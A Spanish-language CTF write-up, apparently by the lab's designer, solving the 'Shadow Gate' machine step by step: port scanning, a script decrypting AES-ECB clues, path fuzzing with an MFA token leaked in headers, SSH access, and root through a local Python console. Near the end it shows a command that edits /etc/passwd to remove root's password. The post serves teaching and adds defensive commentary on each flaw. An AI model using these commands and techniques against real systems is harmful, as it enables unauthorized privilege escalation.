# Shadow Gate: señales ocultas, activación remota y una consola local ejecutándose como root

9 min read
Table of Contents

Shadow Gate: señales ocultas, activación remota y una consola local ejecutándose como root

Autor: Oscar | Senior Platform Engineer / SRE
Dificultad: avanzado | SO: Linux


Sobre este CTF

Shadow Gate es una máquina que diseñé para construir una cadena de compromiso menos evidente que en otros laboratorios, pero basada igualmente en errores reales: servicios opacos expuestos, pistas distribuidas entre protocolos distintos, lógica de validación mal conectada y una superficie local privilegiada que nunca debió existir.

No es una máquina de fuerza bruta directa ni de vulnerabilidad única. Aquí la clave está en correlacionar señales: un servicio que responde con ruido cifrado, un login web con cabeceras útiles, una verificación secundaria escondida y, finalmente, un servicio interno ejecutando código Python como root.

En esta entrada muestro la resolución completa, desde la enumeración inicial hasta la obtención de root, explicando qué representa cada fase y por qué esta clase de errores encadenados sí tiene sentido fuera del laboratorio.


Información técnica

CampoValor
NombreShadow Gate
IP objetivo192.168.56.20
ServiciosSSH (22), HTTP (8080), servicio custom (56789)
Vectores principalesservicio custom con pistas cifradas → usuario oculto → token MFA expuesto en cabeceras → endpoint oculto de verificación → credenciales SSH → servicio local Python como root
Dificultadavanzado

Reconocimiento

Escaneo inicial de puertos

Comenzamos con un escaneo completo para identificar la superficie expuesta de la máquina:

Terminal window
nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 192.168.56.20 -oG allPorts

Este escaneo nos deja tres puertos abiertos:

  • 22/tcp
  • 8080/tcp
  • 56789/tcp

Para trabajar más cómodo con esos puertos, utilizamos extractPorts y lanzamos un segundo escaneo más detallado:

Terminal window
extractPorts allPorts
nmap -p22,8080,56789 -sCV 192.168.56.20 -oN targeted

Resultado:

Terminal window
# Nmap 7.95 scan initiated Sun May 4 18:41:52 2025 as: nmap -p22,8080,56789 -sVC -oN targeted 192.168.56.20
Nmap scan report for 192.168.56.20
Host is up (0.00056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 84:05:fe:ed:47:16:ab:28:70:0f:44:6e:f6:8d:0c:6f (ECDSA)
|_ 256 99:a9:88:76:ee:c8:ed:ce:73:57:2a:22:da:9f:7b:7e (ED25519)
8080/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.3)
|_http-title: 403 Forbidden
|_http-server-header: Werkzeug/3.1.3 Python/3.12.3
56789/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Análisis inicial

La enumeración ya deja una topología interesante:

  • SSH como posible vía de acceso final
  • HTTP en 8080 servido por Werkzeug, lo que apunta a una aplicación Python
  • un servicio custom en 56789 que no se deja identificar por Nmap

El servicio más llamativo no es el HTTP, sino el puerto 56789. Cuando aparece algo no estándar junto a una app Python y un SSH abierto, suele haber una lógica de aplicación que conviene entender antes de tocar autenticación.


Puerto 56789 — análisis del servicio custom

Al conectarnos con nc al puerto 56789, vemos este comportamiento:

Terminal window
nc 192.168.56.20 56789

Respuesta:

Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
test
Access denied. The gate remains closed.

El propio banner da una pista clara: n0cturne.

Al enviar esa cadena, la respuesta cambia:

Terminal window
nc 192.168.56.20 56789
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
n0cturne
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
YzRmN2QzNQ==
uxomFV7/fmbRfAoERH2aZw==
DcCeEH1OYei2Z71qrlUjcQ==
I7PX9ss8Uv/DM65hrTSeag==
eJIKMZKxGdG5CcxaldniOQ==
2+YfOPg2aynwZ35B4Tchsg==
ekD25jhdn3vEk4XFYd4Dow==
huSBj8DuKJ7qWxnXEreydg==
EiGroMLlb+DQKjSHJF9ZkA==
Connection closing...

Descifrado de las cadenas

Al decodificar la primera cadena en Base64 obtenemos:

Terminal window
echo 'YzRmN2QzNQ==' | base64 -d; echo

Resultado:

c4f7d35

Ese valor permanece constante entre conexiones, mientras que el resto de bloques cambia cada vez. A partir de ahí, la hipótesis razonable es esta:

  • la primera cadena actúa como clave base
  • el resto son bloques cifrados
  • no se proporciona IV, por lo que el modo más probable es ECB

Con esa idea se construyó un pequeño script en Python para descifrar los bloques y extraer la primera letra de cada resultado, ya que esa era la única posición que permanecía estable entre distintas ejecuciones.

from Crypto.Cipher import AES
from hashlib import sha256
import base64
clave = 'c4f7d35'
textos = [
'gyIc8gd8jUQ7C/7iFk6ycQ==',
'ZkaZD0jZIiDoS1qB44JCDA==',
'Fd3JYtkRfUxTvqncZCK1sA==',
'YXxxMKrF//kaZv92uG7zSQ==',
'jboxYrPZFgkz3kQ7P4buyA==',
'dhCRqabHpQ/WliKGAOsMDA==',
'TcGPQlI38MakzfGihxFmBA==',
'P7O2L3uFjeJiLdMJA9/QYg=='
]
def decrypt_text(text):
clave_sha = sha256(clave.encode()).digest()
c = AES.new(clave_sha, AES.MODE_ECB)
b = base64.b64decode(text.encode())
f = c.decrypt(b)
f = f.decode()
for l in f:
print(l, end="")
break
for text in textos:
decrypt_text(text)
print("\n", end="")

Salida:

v4u1tgx9

Ese valor parece un usuario, pero todavía no sirve directamente al enviarlo al mismo puerto 56789. Eso indica que la secuencia del reto no termina ahí y que la siguiente pieza probablemente esté en el servicio web.

Comentario

Este primer tramo de la máquina enseña algo importante: no toda pista útil sirve en el mismo sitio donde se obtiene. A veces un servicio no entrega la solución, sino una credencial parcial o un identificador que cobra sentido en otra capa del sistema.

Aquí el error no es solo criptográfico. Es también de diseño: se distribuyen secretos operativos entre servicios que deberían estar aislados entre sí.


Puerto 8080 — exploración web

El servicio HTTP en 8080 devuelve 403 sobre la raíz, así que pasamos directamente a fuzzing de rutas:

Terminal window
feroxbuster -u "http://192.168.56.20:8080/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -n --no-state

Resultado relevante:

404 GET 5l 31w 207c http://192.168.56.20:8080/
200 GET 1l 7w 39c http://192.168.56.20:8080/login

Localizamos una ruta clara:

  • /login

Con el valor obtenido del puerto 56789, probamos autenticación:

Terminal window
curl -s -X POST 'http://192.168.56.20:8080/login' -d "username=v4u1tgx9" -d "password="

Respuesta:

Token dispatched. You just have to look... sideways.

Revisión de cabeceras

Ese mensaje ya sugiere que la información útil no está en el cuerpo, sino “de lado”, es decir, en las cabeceras HTTP.

Respuesta sin login válido

HTTP/1.0 200 OK
Server: Werkzeug/3.1.3 Python/3.12.3
Date: Sun, 04 May 2025 22:40:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33
X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==
Connection: close
Username rejected. Access denied.

Respuesta con login aceptado

HTTP/1.0 200 OK
Server: Werkzeug/3.1.3 Python/3.12.3
Date: Sun, 04 May 2025 22:41:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==
X-Shadow-MFA: 382592
Connection: close
Token dispatched. You just have to look... sideways.

Análisis

Aquí la aplicación hace dos cosas mal:

  • revela un flujo de MFA por cabecera en lugar de tratarlo de forma segura
  • deja claro cuándo un usuario es válido y cuándo no

Eso ya nos da dos piezas críticas:

  • el usuario v4u1tgx9
  • un token MFA devuelto directamente en una cabecera HTTP

La cuestión es encontrar dónde usar ese token.


Búsqueda del endpoint de validación

Como casi todas las rutas respondían con 403, el fuzzing clásico no resultaba cómodo. Para resolverlo se creó un script que:

  1. obtiene automáticamente el token desde /login
  2. recorre un diccionario de rutas
  3. envía username y token por POST
  4. detecta qué ruta deja de responder con 403
import requests
import sys
username = 'v4u1tgx9'
def main(token):
try:
with open(sys.argv[1], "r") as w:
for path in w:
if 'login' in path:
path += 'aaaaa'
path = path.strip()
main_url = f"http://192.168.56.20:8080/{path}"
data = {
"username": f"{username}",
"token": f"{token}"
}
r = requests.post(main_url, data=data)
if r.status_code != 403:
print(f"Path encontrado: {path}\n\nResponse:")
print(r.text)
except KeyboardInterrupt:
print("\n\n[!] Saliendo...")
sys.exit(1)
def token():
main_url = 'http://192.168.56.20:8080/login'
data = {
"username": "v4u1tgx9",
"password": ""
}
r = requests.post(main_url, data=data)
token = r.headers['X-Shadow-MFA']
return token
if __name__ == '__main__':
token = token()
main(token)

Ejecución:

Terminal window
python3 fuzz.py /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Resultado:

Path encontrado: verify
Response:
Acceso concedido. Servicio activo.

Comentario

El detalle importante no es solo encontrar /verify, sino entender lo que hace: activa algo.

La aplicación no estaba validando MFA como un simple paso de acceso. Estaba habilitando un servicio adicional del sistema. Eso es bastante más grave y bastante más interesante desde el punto de vista del diseño inseguro.


Activación del servicio y acceso inicial

Una vez ejecutado el flujo correcto, volvemos al puerto 56789 y la respuesta ya no es la misma:

Terminal window
nc 192.168.56.20 56789

Salida:

Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
SSH login for user mars
mars:sshpassword123
Connection closing...

Con esas credenciales ya podemos acceder por SSH:

Terminal window
ssh mars@192.168.56.20

Una vez dentro, confirmamos acceso y leemos la flag de usuario:

Terminal window
cat user.txt

Análisis

La cadena completa hasta aquí es muy buena desde el punto de vista defensivo:

  • un servicio custom filtra un usuario
  • la web devuelve un token MFA por cabecera
  • el endpoint de verificación activa un backend adicional
  • el backend adicional termina revelando credenciales SSH en claro

Es justo el tipo de integración rota que no parece crítica hasta que alguien entiende la relación entre piezas.


Escalada de privilegios

Detección del servicio interno

Desde la sesión SSH como mars, revisamos puertos escuchando localmente:

Terminal window
ss -tulun

Resultado relevante:

Terminal window
tcp LISTEN 0 5 127.0.0.1:4444 0.0.0.0:*

Eso sugiere un servicio accesible solo en loopback. Al conectarnos con nc vemos esto:

Terminal window
nc 127.0.0.1 4444

Respuesta:

Welcome to Shadow Client Helper
This is an unrestricted environment. Good luck, hacker.
>>>

Ese prompt recuerda claramente al intérprete de Python. Para compararlo, abrimos una consola Python local:

Terminal window
python3

La apariencia es prácticamente idéntica.

Confirmación de ejecución como root

Probamos a ejecutar código Python simple a través del servicio local:

import os
os.system("id > /tmp/id")

Y después comprobamos el resultado:

Terminal window
cat /tmp/id

Salida:

uid=0(root) gid=0(root) groups=0(root)

Eso confirma el fallo crítico: el servicio local en 127.0.0.1:4444 está ejecutando código arbitrario como root.

Obtención de root

Con esa capacidad ya no hace falta nada sofisticado. Basta con modificar /etc/passwd para dejar la cuenta root sin contraseña:

import os
os.system("sed 's/root:x:/root::/g' -i /etc/passwd")

Después, cambiamos de usuario:

Terminal window
su

Resultado:

Terminal window
root@TheHackersLabs-Shadowgate:/home/mars#

Y ya como root, leemos la flag final:

Terminal window
cat root.txt

Comentario

El fallo final es gravísimo y muy claro: una consola accesible por loopback, sin restricciones reales y ejecutando como root.

No importa que el servicio no estuviera expuesto externamente. En cuanto un atacante consigue acceso al sistema como usuario normal, ese helper local se convierte en un camino directo a privilegios completos.

Este es exactamente el tipo de error que muchas veces se minusvalora porque “solo escucha en localhost”. Y precisamente por eso resulta tan útil enseñarlo.


Notas del autor

Shadow Gate está diseñada para enseñar una cadena donde el problema no es una única vulnerabilidad, sino la relación entre varios fallos de diseño:

VectorLo que enseñaError real representado
puerto custom con pistas cifradasexposición de lógica sensibleservicios internos convertidos en acertijos inseguros
valor v4u1tgx9 reutilizado en webcorrelación entre capassecretos operativos compartidos entre servicios
token MFA en cabecerafiltrado de autenticaciónimplementación insegura de pasos de validación
endpoint /verifyactivación de backend por flujo weblógica de negocio mal conectada con servicios internos
credenciales SSH reveladas tras la activaciónexposición de secretos en clarobackends auxiliares que entregan información crítica
helper local en 127.0.0.1:4444confianza excesiva en localhostservicios privilegiados sin aislamiento real
ejecución de Python como rootcompromiso total del hostherramientas internas capaces de ejecutar código arbitrario

Lo importante de esta máquina no es solo llegar a root. Lo importante es entender cómo una serie de decisiones aparentemente inconexas termina abriendo una cadena completa de acceso, activación y escalada.


Recursos y referencias


My avatar

¿Te ha resultado útil o interesante este post? Soy Oscar, Senior Platform Engineer y SRE, y en este blog comparto mis reflexiones, experimentos y retos técnicos sobre automatización, seguridad (especialmente el diseño de CTFs), optimización de rendimiento y el impacto de la tecnología en el desarrollo profesional.

Conecta y conversemos: LinkedIn Mi código y proyectos en: GitHub


More Posts